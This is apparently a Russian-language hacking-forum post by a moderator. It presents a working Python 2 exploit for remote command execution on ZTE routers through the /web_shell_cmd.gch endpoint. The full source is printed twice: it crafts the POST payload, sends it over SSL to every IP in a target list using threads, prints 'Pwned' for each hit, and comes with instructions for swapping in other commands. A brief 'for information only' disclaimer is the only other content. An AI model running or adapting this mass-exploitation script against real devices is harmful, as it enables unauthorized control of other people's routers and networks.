Взлом
Уважаемые гости! При посещении нашего сайта просим вас ознакомиться с разделами форума, прежде чем оставлять ваши объявления и т.п., а также при обращении за помощью просим быть внимательными: на сайте есть как проверенные специалисты, так и непроверенные. Если вы обратились к специалисту, который проверку НЕ проходил, рекомендуем воспользоваться услугой гарант-сервиса. Спасибо, что посетили форум хакеров.

bbc_Hash

Модератор
Команда форума
Пользователь
Регистрация
8 Янв 2019
Сообщения
527
Реакции
71
Баллы
118
[SIZE=12pt]Я хочу рассказать про уязвимость в ZTE роутерах, доступному по URI router_ip:443/web_shell_cmd.gch[/SIZE]. Уязвимость заключается в том, что мы посылаем POST-запрос с ошибкой и ее типом, а в ней — код для выполнения.
[SIZE=12pt]Информация предназначена исключительно для ознакомления. Не нарушайте законодательство. [/SIZE]
[SIZE=12pt]Поехали![/SIZE]
[SIZE=12pt]import threading[/SIZE]
[SIZE=12pt]import socket[/SIZE]
[SIZE=12pt]import ssl[/SIZE]
[SIZE=12pt]import time[/SIZE]
[SIZE=12pt]import sys[/SIZE]
[SIZE=12pt]info = open(str(sys.argv[1]),'a+')[/SIZE]
[SIZE=12pt]class skid(threading.Thread):[/SIZE]
[SIZE=12pt]def __init__(self, ip):[/SIZE]
[SIZE=12pt]threading.Thread.__init__(self)[/SIZE]
[SIZE=12pt]self.ip = str(ip).rstrip('\n') [/SIZE]
[SIZE=12pt]В этом участке кода мы загружаем необходимые модули для работы эксплойта. Также я сделал, чтобы цели брались из списка, подготовленного нами. В конце я покажу пример запуска эксплойта. И ещё на этом участее кода есть многопоточность. [/SIZE]
[SIZE=12pt]Далее в коде: [/SIZE]
[SIZE=12pt]def run(self):[/SIZE]
[SIZE=12pt]try:[/SIZE]
[SIZE=12pt]f1 = "POST /web_shell_cmd.gch HTTP/1.1\r\nHost: 127.0.0.1\r\nUser-Agent: HaxerMen\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nContent-Length: 114\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nIF_ACTION=apply&IF_ERRORSTR=SUCC&IF_ERRORPARAM=SUCC&IF_ERRORTYPE=-1&Cmd=mkdir+hacked&CmdAck=\r\n\r\n"[/SIZE]
[SIZE=12pt]sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)[/SIZE]
[SIZE=12pt]ssl_sock = ssl.wrap_socket(sock)[/SIZE]
[SIZE=12pt]ssl_sock.connect((self.ip, 443))[/SIZE]
[SIZE=12pt]ssl_sock.sendall(f1.encode('utf-8'))[/SIZE]
[SIZE=12pt]ssl_sock.close()[/SIZE]
[SIZE=12pt]time.sleep(3)[/SIZE]
[SIZE=12pt]print("[Pwned]" + self.ip)[/SIZE]
[SIZE=12pt]except Exception as e:[/SIZE]
[SIZE=12pt]print(e)[/SIZE]
[SIZE=12pt]return [/SIZE]
[SIZE=12pt]мы передаём переменной[/SIZE][SIZE=12pt] f[/SIZE][SIZE=12pt]1[/SIZE][SIZE=12pt] — [/SIZE][SIZE=12pt]payload[/SIZE][SIZE=12pt], отправляя [/SIZE][SIZE=12pt]POST[/SIZE][SIZE=12pt]-запрос на[/SIZE] [SIZE=12pt]/[/SIZE][SIZE=12pt]web[/SIZE][SIZE=12pt]_[/SIZE][SIZE=12pt]shell[/SIZE][SIZE=12pt]_[/SIZE][SIZE=12pt]cmd[/SIZE][SIZE=12pt].[/SIZE][SIZE=12pt]gch[/SIZE][SIZE=12pt] с ошибкой, где в типе ошибке уже содержится [/SIZE][SIZE=12pt]payload[/SIZE][SIZE=12pt]. Для примера я просто сделал команду, которая создаёт папку hacked[/SIZE]. Далее идут SSL-сокеты, которые отправляют payload устройствам из списка. При успешной передаче команды роутеру ZTE выводится надпись Pwned + IP роутера. Слэшы и точки должны быть в hex формате, а пробелы — заменяться знаком +.
[SIZE=12pt]Далее в коде идёт простая функция, которая просто запускает эксплуатацию роутеров: [/SIZE]
[SIZE=12pt]for ip in info:[/SIZE]
[SIZE=12pt]try:[/SIZE]
[SIZE=12pt]time.sleep(0.01)[/SIZE]
[SIZE=12pt]skid(ip).start()[/SIZE]
[SIZE=12pt]except:[/SIZE]
[SIZE=12pt]pass [/SIZE]
[SIZE=12pt]Пример[/SIZE] [SIZE=12pt]запуска[/SIZE][SIZE=12pt]:[/SIZE]
[SIZE=12pt]python [/SIZE][SIZE=12pt]exploit.py[/SIZE][SIZE=12pt] zte[/SIZE]
[SIZE=12pt]Где zte — это список IP адресов роутеров ZTE.[/SIZE]
[SIZE=12pt]Тип записи IP роутеров ZTE в список:[/SIZE]
[SIZE=12pt]192.168.1.1[/SIZE]
[SIZE=12pt]192.168.1.2[/SIZE]
[SIZE=12pt]192.168.1.3[/SIZE]
[SIZE=12pt]Исходный[/SIZE] [SIZE=12pt]код[/SIZE] [SIZE=12pt]эксплойта[/SIZE][SIZE=12pt]:[/SIZE]
[SIZE=12pt]import threading[/SIZE]
[SIZE=12pt]import socket[/SIZE]
[SIZE=12pt]import ssl[/SIZE]
[SIZE=12pt]import time[/SIZE]
[SIZE=12pt]import sys[/SIZE]
[SIZE=12pt]info = open(str(sys.argv[1]),'a+')[/SIZE]
[SIZE=12pt]class skid(threading.Thread):[/SIZE]
[SIZE=12pt]def __init__(self, ip):[/SIZE]
[SIZE=12pt]threading.Thread.__init__(self)[/SIZE]
[SIZE=12pt]self.ip = str(ip).rstrip('\n')[/SIZE]
[SIZE=12pt]def run(self):[/SIZE]
[SIZE=12pt]try:[/SIZE]
[SIZE=12pt]f1 = "POST /web_shell_cmd.gch HTTP/1.1\r\nHost: 127.0.0.1\r\nUser-Agent: HaxerMen\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nContent-Length: 114\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nIF_ACTION=apply&IF_ERRORSTR=SUCC&IF_ERRORPARAM=SUCC&IF_ERRORTYPE=-1&Cmd=mkdir+hacked&CmdAck=\r\n\r\n"[/SIZE]
[SIZE=12pt]sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)[/SIZE]
[SIZE=12pt]ssl_sock = ssl.wrap_socket(sock)[/SIZE]
[SIZE=12pt]ssl_sock.connect((self.ip, 443))[/SIZE]
[SIZE=12pt]ssl_sock.sendall(f1.encode('utf-8'))[/SIZE]
[SIZE=12pt]ssl_sock.close()[/SIZE]
[SIZE=12pt]time.sleep(3)[/SIZE]
[SIZE=12pt]print("[Pwned]" + self.ip)[/SIZE]
[SIZE=12pt]except Exception as e:[/SIZE]
[SIZE=12pt]print(e)[/SIZE]
[SIZE=12pt]return[/SIZE]
[SIZE=12pt]for ip in info:[/SIZE]
[SIZE=12pt]try:[/SIZE]
[SIZE=12pt]time.sleep(0.01)[/SIZE]
[SIZE=12pt]skid(ip).start()[/SIZE]
[SIZE=12pt]except:[/SIZE]
[SIZE=12pt]pass[/SIZE]
[SIZE=12pt]Эксплойт работает на python2.[/SIZE]
 
Яндекс.Метрика